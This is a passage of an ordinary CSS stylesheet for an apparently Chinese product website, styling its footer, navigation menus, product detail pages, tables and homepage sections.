padding-bottom: 50px
}
#footer .fo-con a {
color: #9b9ea0;
font-size: 14px;
transition: color .4s ease
}
#footer .fo-con a:hover {
color: #ffc252
}
#footer .fo-con .fo-con-l {
width: 220px;
padding-left: 80px;
position: relative
}
#footer .fo-con .fo-con-l img {
width: 50px;
position: absolute;
left: 0
}
#footer .fo-con .fo-con-l h2 {
font-size: 16px;
color: #d7d8d9;
height: 30px;
text-align: left
}
#footer .fo-con .fo-con-l p {
font-size: 20px;
color: #fff;
height: 30px
}
#footer .fo-con .fo-con-l li {
height: 30px;
line-height: 30px
}
#footer .fo-con .fo-con-r {
padding-left: 100px;
border-left: 1px solid #4b5054;
overflow: hidden;
float: left
}
#footer .fo-con .fo-con-r>ul>li {
float: left
}
#footer .fo-con .fo-con-r h3 {
color: #d7d8d9
}
#footer .fo-con .fo-con-r>ul>li ul {
margin: 14px 0 20px;
width: 120px
}
#footer .fo-con .fo-con-r>ul>li ul li {
margin-top: 4px
}
#footer .fo-con .fo-con-r a {
font-size: 12px
}
#footer .fo-con .fo-con-last h2 {
font-size: 16px;
color: #d7d8d9;
height: 30px
}
#footer .fo-con .fo-con-last p {
color: #9b9ea0;
font-size: 14px;
margin-top: 4px;
text-align: justify
}
#footer .fo-bot {
height: 70px;
line-height: 70px;
font-size: 14px;
color: #73777a;
text-align: center;
border-top: 1px solid #4b5054
}
#footer .fo-mid {
border-top: 1px solid #4b5054;
padding: 10px 20px;
box-sizing: border-box;
text-align: justify
}
.pc-show .sub-nav {
padding: 20px 0;
position: absolute;
width: 1000px;
background: #fff;
top: 65px;
left: 50%;
margin-left: -500px;
box-shadow: 0 0 5px #000;
display: none
}
.pc-show dl {
display: inline-block;
vertical-align: top;
padding: 0 20px
}
.pc-show dl a {
color: #000
}
.pc-show dl a:hover {
color: #ffc252
}
.pc-show dt {
font-weight: 700;
line-height: 30px
}
.pc-show dd {
margin-left: 0;
line-height: 30px
}
.pc-show dd a {
font-size: 12px
}
.pc-show ul.nav-lists {
position: relative;
overflow: visible
}
.pc-show .nav-item {
display: inline-block
}
.pc-show .nav-item>a {
display: inline-block;
position: relative
}
.pc-show .trigle {
width: 0;
height: 0;
border: 10px solid transparent;
border-bottom-color: #fff;
position: absolute;
top: 45px;
left: 50%;
margin-left: -10px;
z-index: 100;
display: none
}
.lianxi {
border: 1px dotted #ccc;
margin-top: 30px
}
.lianxi p {
float: left;
font-size: 14px;
line-height: 30px;
text-align: left;
border-left: 1px dotted #ccc;
padding: 1.5% 3%;
width: 27.2%;
color: #000
}
.product-center-banner {
width: 100%
}
.product-detail-top {
margin: 20px auto 70px auto;
position: relative
}
.product-detail-top .text {
width: 490px
}
.product-detail-top .title {
font-size: 22px;
color: #333;
margin: 20px 0
}
.product-detail-top .de {
padding: 17px;
background: #f6f6f6;
margin-bottom: 20px;
font-size: 14px;
color: #666
}
.product-detail-top .shuxing {
color: #666;
font-size: 16px;
margin-bottom: 10px;
padding-left: 5px;
line-height: 30px
}
.product-detail-top .xunjia {
width: 160px;
height: 55px;
background: rgba(51,51,51,1);
font-size: 20px;
color: #fff;
line-height: 55px;
position: absolute;
bottom: 30px;
text-align: center;
display: block;
transition: all .3s ease-out
}
.product-detail-top .xunjia:hover {
background: rgba(51,51,51,.9)
}
.center-title {
text-align: center;
font-size: 26px;
color: #333;
margin: 45px 0 40px 0
}
.center-title img {
margin-left: 10px
}
.w2 hr {
width: 100%;
height: 17px;
background: #f6f6f6;
border: 0
}
.details00 {
margin-top: 40px
}
.details006 .left {
width: 450px;
margin: 0 50px
}
.details006 dt {
font-size: 26px;
color: #333;
margin: 40px 0 20px 0;
text-align: left
}
.details006 dt span {
color: #0a0d7f
}
.details006 dd {
color: #333;
font-size: 16px;
line-height: 28px;
text-align: left
}
.details006 .title span {
display: inline-block;
padding: 0 50px;
position: relative;
background: #fff;
z-index: 1
}
.details006 .title:after {
content: '';
display: block;
position: absolute;
width: 100%;
height: 1px;
background: #ccc;
left: 0;
top: 50%;
margin-top: -.5px
}
.details005 {
text-align: center;
margin: 60px auto
}
.details001 p,.details003 p,.details004 p,.details005 p {
font-size: 14px;
line-height: 28px
}
.details001 .title,.details003 .title,.details004 .title,.details005 .title {
font-size: 26px;
color: #333;
margin: 30px 0
}
.details005 .text {
width: 38%;
text-align: left;
margin-top: 50px
}
.details005 .spetitle {
color: #0e1874
}
.details005 .img02 {
margin-top: 70px
}
.details006 .title {
font-size: 26px;
position: relative;
margin: 50px 0
}
.details006 {
margin-bottom: 50px
}
.details004 {
text-align: center
}
.details004 .img01 {
margin: 50px 0
}
.details003 {
margin: 90px auto
}
.details003 li {
float: left
}
.details003 .img {
text-align: center;
width: 40%
}
.details003 .img01 {
margin-bottom: 40px
}
.details003 .text {
width: 40%;
padding: 0 10%;
margin-top: 40px
}
.details003 .text .title {
color: #143483;
line-height: 40px;
margin: 20px 0
}
.details003 .text-spe {
clear: left;
margin-top: 0;
width: 35%
}
.details001 {
width: 34%;
text-align: left;
padding-left: 3%;
margin-top: 30px
}
.details001-img {
clear: both;
margin-top: 50px
}
.details002-box {
margin-bottom: 60px
}
.details01 {
margin: 50px 0 40px 0;
background: #f5f5f5;
padding: 20px 0
}
.details01 li {
border-right: 1px dotted #b5b5b5;
float: left;
width: 16.3%;
padding: 0 1.8%;
height: 160px
}
.details01 li:last-child {
border-right: 0
}
.details01 li p {
font-size: 12px;
color: #999;
text-align: justify
}
.details01 li .title {
font-size: 15px;
color: #333;
margin: 0 0 8px 0;
text-align: center;
font-weight: 700
}
.product-detail-center {
text-align: center
}
.product-detail-center .zhuanli {
text-align: center;
font-size: 18px;
color: #666
}
.details02 {
margin: 35px 70px 40px 70px
}
.details02 img {
margin: 0 21px 20px 0;
width: 100%
}
.product-detail-center .des-img {
width: 100%;
margin: 60px 0
}
.canshu-line {
margin-top: 50px
}
.detail-center .anli {
width: 99%;
padding: .5%;
margin-bottom: 60px
}
.detail-center .anli li {
width: 182px;
height: 167px;
margin-right: 19px;
float: left;
position: relative;
border: 1px solid #e8e8e8;
-webkit-box-shadow: 0 0 15px #dedede;
-moz-box-shadow: 0 0 15px #dedede;
box-shadow: 0 0 15px #dedede
}
.detail-center .anli li:last-child {
margin-right: 0
}
.detail-center .anli li a {
position: absolute;
width: 100%;
height: 100%;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out;
top: 0;
left: 0;
z-index: 2;
text-align: center;
background: rgba(0,0,0,0)
}
.detail-center .anli li span {
display: none;
text-align: center;
color: #fff;
padding: 5px 23px;
border: 1px solid #fff;
font-size: 12px;
width: 100px;
margin: 60px 19px
}
.detail-center .anli li:hover a {
background: rgba(0,0,0,.65);
border-radius: 3px
}
.detail-center .anli li:hover span {
display: inline-block
}
.tonglei {
margin-bottom: 60px
}
.tonglei li {
width: 257px;
float: left;
margin-right: 60px;
text-align: center;
overflow: hidden
}
.tonglei span {
color: #333;
display: block;
text-align: center;
padding: 12px 0 0 0
}
.tonglei li .img {
display: block;
width: 228px;
overflow: hidden
}
.tonglei li:last-child {
margin-right: 0
}
.tonglei li img {
width: 100%;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.tonglei li:hover img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05)
}
.product-detail-center .ques-list {
border-top: 1px solid #000;
text-align: left
}
.product-detail-center .qq {
background: url(../images/qq.png) no-repeat center left;
color: #333
}
.product-detail-center .aa {
background: url(../images/aa.png) no-repeat center left
}
.product-detail-center .ques-list p {
line-height: 26px;
font-size: 15px;
text-indent: 15px;
padding: 30px 0 30px 70px
}
.product-detail-center .ques-list hr {
width: 94%;
height: 1px;
background: #999;
float: right
}
.product06-box {
position: relative;
margin-top: 50px
}
.product06-box .p1 {
position: absolute;
top: 90px;
left: 70px;
font-size: 26px;
color: #fff;
line-height: 40px
}
.product06-box .p2 {
position: absolute;
bottom: 110px;
left: 70px;
font-size: 16px;
color: #fff;
width: 32%;
line-height: 32px;
text-align: left
}
.xinfengji .title {
font-size: 26px;
color: #333;
margin: 75px 0 60px
}
.xinfeng-box01 {
padding: 20px 30px
}
.xinfeng-box01 li {
float: left;
width: 475px;
margin-right: 190px;
text-align: left;
margin-bottom: 70px
}
.xinfeng-box01 li:nth-of-type(2n) {
margin-right: 0
}
.xinfeng-box01 li img {
float: left;
margin-right: 16px
}
.xinfeng-box01 p {
font-size: 14px;
color: #666;
line-height: 26px
}
.xinfeng-box01 .t {
font-size: 18px;
color: #333;
line-height: 30px
}
.xinfeng-box02 li {
width: 218px;
height: 286px;
border: 3px solid #5b92c9;
border-radius: 8px;
float: left;
margin: 0 10px
}
.xinfeng-box02 li p {
font-size: 13px;
padding: 18px;
text-align: justify;
line-height: 24px
}
.xinfeng-box02 li .t {
font-size: 24px;
color: #333;
text-align: center;
padding: 30px 0 42px;
background: url(../images/20171218x-01.png) no-repeat center bottom;
line-height: 28px
}
.xinfeng-box02 li:nth-of-type(4) .t {
padding: 15px 0 30px
}
.xinfeng-box03 {
margin-top: 80px
}
.xinfeng-box03 li {
overflow: hidden;
margin-bottom: 80px
}
.xinfeng-box03 li .left p {
width: 588px;
text-align: left
}
.xinfeng-box03 li .right p {
width: 426px;
text-align: left
}
.xinfeng-box03 li p {
font-size: 14px;
line-height: 24px
}
.xinfeng-box03 li .t {
font-size: 24px;
color: #333;
margin: 30px 0 25px
}
.xinfeng-box03 li img.left {
margin-left: 30px
}
.xinfeng-box03 li:first-child .t {
margin-top: 70px
}
.table-box {
text-align: center;
border-bottom: 15px solid #f5f5f5;
padding-bottom: 50px
}
.product-detail-center table {
border-collapse: collapse;
border-top: 1px solid #999;
border-left: 1px solid #999;
display: inline-block
}
.product-detail-center table td {
border-right: 1px solid #999;
border-bottom: 1px solid #999;
float: left;
line-height: 40px;
font-size: 16px;
color: #333;
text-align: center
}
.table01 td {
width: 270px
}
.table02 td {
width: 350px
}
.tu-wen .text {
width: 47%
}
.tu-wen img {
width: 47%
}
.tu-wen p {
font-size: 14px;
line-height: 28px;
text-align: left;
color: #999
}
.tu-wen .title {
font-size: 26px;
color: #333;
margin: 30px 0
}
.tu-wen li {
overflow: hidden;
clear: both;
margin-top: 80px
}
.details005>img {
margin: 50px auto
}
.details006>img {
margin: 80px auto
}
.details005 .sm-title {
font-size: 22px;
padding: 50px 0;
color: #06c
}
.details006 .sm-title span {
padding: 5px 10px;
border: 1px solid #06c;
margin-right: 20px
}
.pro-tb table {
margin: 0 auto;
width: 100%
}
.pro-tb table td {
border: 1px solid #000;
padding: 10px;
font-size: 14px;
color: #000
}
.pro-new-tb table {
margin: 0 auto 50px
}
.pro-new-tb table td {
width: 200px;
font-size: 14px;
color: #000;
text-align: left;
padding: 2.5px 0 2.5px 100px
}
.pro-new-tb table td.tit {
font-size: 18px
}
.pro-new-tb table td span {
text-indent: -999em;
display: inline-block;
width: 20px;
height: 20px;
margin-right: 10px;
border-radius: 10px
}
.pro-new-tb table td span.bg1 {
background: #ccc
}
.pro-new-tb table td span.bg2 {
background: #000
}
.pro-new-tb table td span.bg3 {
background: #069
}
.pro-new-tb table td span.bg4 {
background: #639
}
.pro-new-tb table td span.bg5 {
background: #e7b808
}
.pro-new-tb table td span.bg6 {
background: #c33
}
.sm-tb table {
margin: 0 auto
}
.sm-tb table td {
border: 1px solid #000;
padding: 10px 20px;
font-size: 14px;
color: #000
}
.detail-p ul {
overflow: hidden;
padding: 50px 0
}
.detail-p ul li {
width: 33%;
float: left;
text-align: center;
height: 350px
}
.detail-p ul li h2 {
font-size: 18px;
padding: 20px 0
}
.detail-p ul li img {
width: 80px
}
.detail-big-img,.pro-tb {
padding: 50px 0
}
.pro-tb p {
text-align: left;
padding: 15px 0;
color: #000
}
.pro-tb h3 {
font-size: 16px;
text-align: left;
color: #000;
padding: 25px 0 15px
}
.details006 .sm-content {
padding: 30px 0
}
.details006 .sm-content ul {
overflow: hidden
}
.details006 .sm-content ul li {
width: 50%;
float: left
}
.details006 .sm-content ul li div {
display: inline-block;
vertical-align: middle;
text-align: right
}
.details006 .sm-content ul li div .sm-c-t {
color: #61ba90;
font-size: 18px;
padding-top: 5px
}
.en-c-text ul {
transform: translateX(150px)
}
.en-c-text ul li {
display: inline-block;
vertical-align: top;
text-align: left;
margin-right: 20px
}
.en-c-text ul li h3 {
font-size: 18px;
padding: 20px 0
}
.sm-sm-t {
padding: 15px 0 20px
}
.anzhuang-img,.canshu-tb {
margin-bottom: 50px
}
.canshu-tb ul li {
padding-bottom: 50px;
border-bottom: 5px solid #f6f6f6
}
.canshu-tb ul li:last-child {
border-bottom: 0
}
.product-detail-center .cs-tb-con table {
display: table;
margin: 0 auto;
border: 0
}
.product-detail-center .cs-tb-con table td {
float: none;
border: 1px solid #000;
padding: 0 10px;
font-size: 12px
}
.cs-tb-img {
padding: 40px 0
}
.product-content {
width: 1206px;
margin: 10px auto
}
.product-content2 {
overflow-x: hidden;
margin: 0 auto
}
.product-content22 {
width: 1228px;
overflow-x: hidden;
margin: 0 auto
}
.product-znyy {
width: 497px
}
.product-znyy .bd {
height: 352px!important
}
.product-znyy .bd li {
width: 497px;
height: 350px;
float: left;
overflow: hidden;
border: 1px solid #ececec
}
.product-znyy .bd li img {
width: 90%
}
.product-znyy .hd li {
width: 102px;
height: 74px;
float: left;
margin: 19px 0 19px 27px;
cursor: pointer
}
.product-znyy .hd img {
border: 1px solid #ececec;
width: 100%
}
.product-znyy .hd li:first-child {
margin-left: 0
}
.product-znyy .hd li.on img {
border: 1px solid #06f
}
.product-box .right p {
font-size: 14px;
color: #666;
margin-bottom: 10px;
overflow: hidden
}
.product-box .right {
width: 650px;
height: 475px;
padding: 0 20px
}
.product-box .right .title {
font-size: 18px;
color: #333;
margin: 10px 0
}
.product-box .redp {
font-size: 12px;
color: #cf4c4c;
line-height: 18px
}
.product-box .right .spe {
width: 310px;
height: 50px;
background: #eee;
padding: 15px 0;
margin: 12px 0;
line-height: 24px
}
.product-box .right span {
width: 70px;
float: left;
display: inline-block;
text-align: justify;
text-justify: distribute-all-lines;
text-align-last: justify;
margin-right: 38px;
padding-left: 15px
}
.product-box .right b {
font-size: 22px;
color: #c00
}
.product-box .rongji {
line-height: 33px
}
.product-box .rongji2 a {
width: 54px;
height: 33px;
border: 1px solid #999;
margin-right: 11px;
display: inline-block;
float: left;
line-height: 33px;
text-align: center
}
.product-box .rongji1 .rongji-num,.product-box .rongji2 .rongji-num {
border: 1px solid #06f
}
.product-box .rongji1 a {
width: 122px;
height: 41px;
margin-right: 20px;
border: 1px solid #999;
display: inline-block;
float: left;
line-height: 40px;
background: #eee
}
.product-box hr {
width: 100%;
height: 1px;
border: 0;
border-top: 1px dotted #f0f0f0;
margin: 13px 0
}
.product-box .rongji1 img {
margin-right: 18px
}
.middle-pic {
margin: 40px 0
}
.tonglei-tuijian {
width: 99%;
height: 250px;
border: 1px solid #ccc;
margin: 35px 0;
overflow: hidden
}
.tonglei-tuijian .title {
height: 46px;
line-height: 46px;
padding-left: 15px;
border-bottom: 1px solid #ccc;
font-size: 16px
}
.tonglei-tuijian li {
width: 162px;
margin: 18px;
float: left
}
.tonglei-tuijian li img {
width: 100%
}
.tonglei-tuijian li p {
font-size: 14px;
margin: 10px 0;
text-align: center
}
.js-cs-sh {
width: 880px;
height: 47px;
line-height: 47px;
border: 1px solid #ccc;
font-size: 16px;
padding: 0 162px
}
.js-cs-sh a {
width: 70px;
height: 45px;
display: inline-block;
text-align: center;
margin: 0 110px;
cursor: pointer
}
.js-cs-sh a.on {
border-bottom: 3px solid #06c
}
.jsbox01 {
padding: 55px 65px
}
.jsbox01 li {
width: 445px;
height: 116px;
float: left
}
.jsbox01 .mr {
margin-right: 185px
}
.jsbox01 .mb {
margin-bottom: 70px
}
.jsbox01 li img {
float: left
}
.jsbox01 li p {
margin-left: 130px;
font-size: 14px
}
.jsbox01 li .title {
font-size: 22px;
color: #333;
padding: 10px 0
}
.pad-cont {
width: 980px;
margin: 0 auto;
text-align: center;
padding-bottom: 40px
}
.jsbox02 {
padding: 70px 0 0 0
}
.jsbox02 li {
width: 416px;
float: left;
text-align: left
}
.jsbox02 .title {
font-size: 26px;
color: #333;
margin: 13px 0
}
.jsbox02 p {
font-size: 16px;
line-height: 26px;
text-align: left
}
.jsbox02 .mr {
margin-right: 148px
}
.jsbox02 .mb {
margin-bottom: 70px
}
.center-box .title {
text-align: center;
font-size: 26px;
color: #333;
padding: 20px 0
}
.center-box p {
text-align: center;
font-size: 16px;
line-height: 26px
}
.line-bg {
background: url(../images/line-bg.jpg) repeat-x center center;
height: 40px;
line-height: 40px;
text-align: center;
margin: 60px 0 40px 0
}
.line-bg span {
padding: 0 30px;
display: inline-block;
background: #fff;
font-size: 24px;
color: #666
}
.pad-cont .spetitle {
font-size: 34px;
color: #06c;
margin: 60px 0 30px 0
}
.pad-cont .spetitle span {
border: 1px solid #06c;
width: 45px;
height: 49px;
display: inline-block;
line-height: 49px;
margin-right: 20px
}
.pad-cont .blue {
color: #167aea
}
.pad-cont .spetitle2 {
font-size: 26px;
color: #06c;
margin: 40px 0
}
.pad-cont .title {
font-size: 26px;
color: #333;
margin-bottom: 10px;
line-height: 38px
}
.pad-cont p {
font-size: 16px;
line-height: 26px
}
.jsbox03 {
margin-top: 60px
}
.jsbox03 li {
width: 180px;
margin: 0 30px;
float: left;
text-align: center
}
.jsbox03 li .title {
font-size: 20px;
padding: 10px 0;
margin: 0;
line-height: 26px
}
.jsbox03 li img {
margin: 0
}
.jsbox03 li p {
color: #666;
font-size: 14px
}
.jsbox04 li {
width: 230px;
float: left;
margin-right: 125px;
text-align: center
}
.jsbox04 li:last-child {
margin: 0
}
.jsbox04 li img {
margin: 15px 0 25px 0
}
.jsbox04 .title {
margin: 0 0 10px 0;
line-height: 26px
}
.jsbox05��.jsbox06 {
width: 1070px;
margin: 0 auto
}
.jsbox05 li {
width: 300px;
float: left;
margin-right: 148px;
text-align: center;
font-size: 16px;
line-height: 26px
}
.jsbox05 li:last-child {
margin: 0
}
.jsbox05 li img {
margin: 15px 0 25px 0
}
.jsbox06,.jsbox07 {
margin-top: 50px
}
.jsbox06 li {
width: 300px;
float: left;
border: 3px solid #5b92c9;
height: 325px;
padding: 35px 0;
border-radius: 15px;
margin-right: 140px;
text-align: center
}
.jsbox06 li:last-child,.jsbox07 li:last-child {
margin-right: 0
}
.jsbox06 p {
font-size: 16px;
line-height: 26px;
padding: 0 30px;
z-index: 1;
text-align: left
}
.jsbox06 .title {
font-size: 26px;
color: #333;
line-height: 38px;
padding: 20px 0 36px 0;
background: url(../images/line2-bg.png) no-repeat center bottom;
text-align: center;
margin-bottom: 20px
}
.jsbox07 li {
width: 310px;
border: 3px solid #5b92c9;
height: 306px;
padding: 40px 0;
border-radius: 15px;
float: left;
text-align: center;
margin-right: 125px
}
.jsbox07 p {
font-size: 16px;
line-height: 26px;
padding: 12px 27px;
z-index: 1
}
.jsbox07 .title {
font-size: 26px;
color: #333;
line-height: 38px;
padding: 20px 0 36px 0;
background: url(../images/line2-bg.png) no-repeat center bottom
}
.jsbox08 li {
width: 125px;
float: left;
margin: 0 35px
}
.jsbox08 li p {
font-size: 12px;
color: #333;
line-height: 20px;
margin-top: 10px
}
.anzhuang li {
float: left
}
.anzhuang li.first {
margin-right: 60px
}
.anzhuang li p {
font-size: 20px;
margin: 26px 0
}
.anzhuang li img {
margin: 0
}
.cont_cont {
line-height: 28px
}
.cont_cont div,.cont_cont p {
text-indent: 24px
}
.zhuanti-img {
width: 100%
}
.cont_cont a {
color: #136ec2;
text-decoration: underline
}
.w-7 {
width: 7%
}
.w-8 {
width: 8%
}
.w-10 {
width: 10%
}
.w-15 {
width: 15%
}
.w-40 {
width: 40%
}
.w-60 {
width: 60%
}
.bg-gray {
background: #d9d9d9
}
.big-table {
border: 1px solid #000;
border-bottom: 0;
margin-top: 40px
}
.big-table ul li {
text-align: center;
line-height: 28px;
font-size: 16px;
box-sizing: border-box;
border-left: 1px solid #000;
border-bottom: 1px solid #000
}
.big-table .b-t-item-c .b-t-item-c-c>ul,.big-table .b-t-item-c>ul,.big-table .b-t-item-t .b-t-item-t-t,.big-table .b-t-item-t>ul {
overflow: hidden
}
.big-table .b-t-item-c .b-t-item-c-c>ul>li,.big-table .b-t-item-c>ul>li,.big-table .b-t-item-t .b-t-item-t-t li,.big-table .b-t-item-t>ul>li {
float: left
}
.w-60 div {
border-bottom: 1px solid #000;
border-left: 1px solid #000
}
.big-table ul li.re-left {
border-left: 0
}
.big-table ul li.re-bottom {
border-bottom: 0
}
.big-table ul li.l-57 {
padding: 14px 0
}
.big-table ul li.l-86 {
padding: 28.5px 0
}
.big-table ul li.l-145 {
padding: 2px 0
}
.big-table ul li.l-232 {
padding: 45.5px 0
}
.w-1228 {
width: 1228px;
margin: 0 auto
}
.cc-index {
font-size: 16px;
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif;
letter-spacing: 1px
}
.cc-index img {
border: 0;
vertical-align: top
}
.cc-index li,ul {
list-style: none
}
.cc-index a {
text-decoration: none;
color: #313131
}
.cc-index i,em {
font-style: normal
}
._left {
float: left
}
._right {
float: right
}
.cc-index .banner-slider {
text-align: center
}
.cc-index .banner-slider ul {
position: relative
}
.cc-index .banner-slider li {
position: absolute;
top: 0;
left: 0;
font-size: 0;
opacity: 0
}
.cc-index .banner-slider li a {
display: block;
font-size: 0
}
.cc-index .banner-slider li a img {
width: 100%;
height: auto
}
.cc-index .banner-slider dl {
margin: 15px auto 0;
display: inline-block
}
.cc-index .banner-slider dl dd {
display: inline-block;
background: #ccc;
width: 26px;
height: 6px;
margin: 10px 3px;
background: #d2d2d2;
border-radius: 3px;
cursor: pointer
}
.cc-index .banner-slider dl dd:first-child {
background: #000
}
#cc-index-header .top {
height: 36px;
line-height: 36px;
background: #313131;
position: fixed;
width: 100%;
left: 0;
top: 0;
z-index: 10;
padding: 0 50px;
box-sizing: border-box
}
#cc-index-header .top-inner {
height: 50px;
line-height: 50px
}
.phone-btn,.phone-menu,.phone-menu-mask {
display: none
}
#cc-index-header .top .slide-nav {
display: none;
float: left;
overflow: hidden
}
#cc-index-header .top .slide-nav-inner {
display: block;
padding-left: 200px;
}
#cc-index-header .top .slide-nav>div {
float: left;
height: 50px;
line-height: 50px
}
#cc-index-header .top .slide-nav .logo-small {
padding-right: 20px
}
#cc-index-header .top .slide-nav .logo-small img {
vertical-align: middle
}
#cc-index-header .top .slide-nav .logo-small .pc-logo {
width: 140px;
height: auto
}
#cc-index-header .top .slide-nav .logo-small .phone-logo {
display: none
}
#cc-index-header .top .slide-nav-right {
float: right;
overflow: hidden
}
#cc-index-header .top .slide-nav-right>ul>li {
float: left;
line-height: 36px;
padding-right: 30px
}
#cc-index-header .top .slide-nav-right>ul>li:nth-of-type(4) {
padding-right: 0
}
#cc-index-header .top .slide-nav-right>ul>li {
line-height: 36px;
height: 36px
}
#cc-index-header .top-inner .slide-nav-right>ul>li {
line-height: 50px;
height: 50px
}
#cc-index-header .top .slide-nav-right>ul>li>a {
height: 44px
}
#cc-index-header .top .slide-nav-right li a {
color: #fff;
font-size: 13px;
display: block
}
#cc-index-header .top .slide-nav .nav-action>ul {
overflow: hidden
}
#cc-index-header .top .slide-nav .nav-action>ul>li {
float: left;
padding-left: 30px;
height: 50px
}
#cc-index-header .top .slide-nav .nav-action>ul>li>a {
color: #fff;
height: 44px;
font-size: 13px;
display: block
}
#cc-index-header .top .slide-nav .nav-action>ul>li:first-child a {
border-bottom: 1px solid #fff
}
#cc-index-header .top-inner .slide-nav .nav-action>ul>li:first-child a {
border: 0
}
#cc-index-header .top .slide-nav .nav-action>ul>li:hover>a,#cc-index-header .top .slide-nav-right>ul>li:hover>a {
border-bottom: 1px solid #fff
}
#cc-index-header .top .nav-action-menu {
position: absolute;
width: 100%;
left: 0;
top: 50px;
background: rgba(49,49,49,.95);
text-align: center;
display: none;
line-height: 56px
}
#cc-index-header .top .nav-action-menu li {
display: inline-block;
margin: 0 25px;
min-width: 43px
}
#cc-index-header .top .nav-action-menu li a {
color: #a0a0a0;
display: block;
font-size: 13px
}
#cc-index-header .top .nav-action-menu li a:hover {
color: #fff
}
#cc-index-header .top .nav-action-menu li i {
font-size: 30px;
font-weight: 400;
display: block;
padding: 10px 0 5px
}
#cc-index-header .top .nav-action-menu li p {
font-size: 13px;
line-height: 56px
}
#cc-index-header .top .all-products .nav-action-menu li {
padding: 0 18px;
margin: 0
}
#cc-index-header .top .all-products .nav-action-menu ul {
display: none;
position: absolute;
top: 56px;
left: 0;
width: 100%;
text-align: center;
background: rgba(49,49,49,.95);
border-top: 1px solid #585858;
line-height: 50px
}
#cc-index-header .top .all-products .nav-action-menu ul li {
display: inline-block
}
#cc-index-header .middle {
margin-top: 36px
}
#cc-index-header .middle .logo {
text-align: center;
height: 46px;
padding-top: 40px
}
#cc-index-header .middle .logo img {
margin-top: 5.5px;
padding-left: 830px;
}
#cc-index-header .bottom {
position: relative
}
#cc-index-header .bottom .nav {
text-align: center;
margin-top: 40px;
font-size: 0
}
#cc-index-header .bottom .nav>li {
display: inline-block;
padding: 0 25px 10px 25px;
cursor: pointer
}
#cc-index-header .bottom .nav>li:first-child a {
border-bottom: 3px solid #000
}
#cc-index-header .bottom .nav>li a {
display: block;
padding-bottom: 5px;
font-size: 14px;
color: #313131;
border-bottom: 3px solid transparent;
font-weight: 700
}
#cc-index-header .bottom .nav>li .nav-sub-menu {
position: absolute;
z-index: 10;
width: 100%;
left: 0;
top: 40px;
text-align: center;
background: #fff;
opacity: .95;
padding: 40px 0 10px;
display: none;
opacity: 0
}
#cc-index-header .bottom .nav>li .nav-sub-menu li {
display: inline-block;
margin: 0 30px;
text-align: center
}
#cc-index-header .bottom .nav>li .nav-sub-menu li a {
color: #a0a0a0;
transition: all .2s ease;
-webkit-transition: all .2s ease;
-moz-transition: all .2s ease;
-o-transition: all .2s ease;
-ms-transition: all .2s ease
}
#cc-index-header .bottom .nav>li .nav-sub-menu li i {
font-size: 30px;
font-weight: 400
}
#cc-index-header .bottom .nav>li .nav-sub-menu li p {
padding-top: 5px;
font-size: 12px
}
#cc-index-header .bottom .nav>li .nav-sub-menu li:hover a {
color: #313131
}
.cc-index-common {
padding-bottom: 15px
}
.cc-index ._pad .w-1228 {
padding: 75px 0 55px
}
.cc-index ._border {
border-top: 10px solid #f6f6f6
}
.cc-index .title {
text-align: center
}
.cc-index .title h2 {
font-size: 28px;
font-weight: 700;
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif
}
.cc-index .title p {
font-size: 13px;
color: #707070;
margin: 5px auto
}
.cc-index-common .goods-list ul {
overflow: hidden
}
.cc-index-common .goods-list ul li {
float: left;
width: 298px;
margin: 20px 12px 0 0
}
.cc-index-common .goods-list ul li:nth-child(4n) {
margin-right: 0
}
.cc-index-common .goods-list ul li .item-img img {
width: 100%;
height: auto
}
.cc-index-common .goods-list ul li .item-name {
padding-top: 15px
}
.cc-index-common .goods-list ul li .item-name p {
font-size: 16px;
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif;
font-weight: 700;
text-align: center
}
.cc-index-common .wrapper {
padding-bottom: 50px
}
.cc-index-common .single-pro {
padding: 50px 0
}
.cc-index-common .single-pro img {
width: 100%;
height: auto
}
.cc-index-common .sub-title {
line-height: 50px;
font-size: 24px;
border-bottom: 1px solid #d2d2d2;
margin-top: 30px
}
.cc-index-common .sub-title dl {
overflow: hidden;
height: 50px
}
.cc-index-common .sub-title dl dd .phone-nav-wrapper {
height: 50px
}
.cc-index-common .sub-title dl dt {
float: left;
color: #333;
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif;
font-size: 24px
}
.cc-index-common .sub-title dl dt span {
font-size: 12px;
padding-left: 10px
}
.cc-index-common .sub-title dl dd {
float: right
}
.cc-index-common .sub-title dl dd a {
font-size: 14px;
padding: 0 15px;
border-right: 1px solid #ccc;
line-height: 10px;
display: inline-block;
transition: all .2s;
-webkit-transition: all .2s;
-moz-transition: all .2s;
-o-transition: all .2s;
-ms-transition: all .2s;
vertical-align: top;
height: 10px;
margin-top: 20px
}
.cc-index-common .sub-title dl dd a:last-child {
border: 0
}
.cc-index-common .sub-title dl dd a:hover {
color: #a0a0a0
}
.cc-index-common .more {
display: block;
width: 150px;
text-align: center;
margin: 100px auto 0;
padding: 10px;
border-top: 1px solid #f78181;
border-bottom: 1px solid #f78181
}
.cc-index-common .more:hover {
color: #f78181
}
.cc-index-fuwu img {
width: 100%;
height: auto
}
.cc-index-quanpin {
background: url(../images/quanpin.jpg) no-repeat center;
background-size: cover;
color: #fff;
display: table;
width: 100%
}
.cc-index-quanpin .wrapper {
display: table-cell;
vertical-align: middle
}
.cc-index-quanpin .wrapper ul {
text-align: center
}
.cc-index-quanpin .wrapper ul li {
display: inline-block
}
.cc-index-quanpin .wrapper ul li a {
color: #fff;
width: 200px;
display: block
}
.cc-index-quanpin .wrapper ul li a:hover p {
color: #dedede
}
.cc-index-quanpin .wrapper ul li a p {
padding-top: 20px;
font-size: 13px;
line-height: 25px
}
.cc-index-quanpin .wrapper ul li a span {
font-size: 26px;
font-family: 'Microsoft YaHei',"Microsoft YaHei",sans-serif;
letter-spacing: 10px
}
.cc-index-anli .wrapper,.cc-index-fangan .wrapper,.cc-index-news .wrapper,.cc-index-partner .wrapper {
padding: 25px 0 55px;
overflow: hidden
}
.cc-index-fangan .wrapper ul {
overflow: hidden
}
.cc-index-fangan .wrapper ul li {
width: 604px;
float: left;
margin-right: 20px;
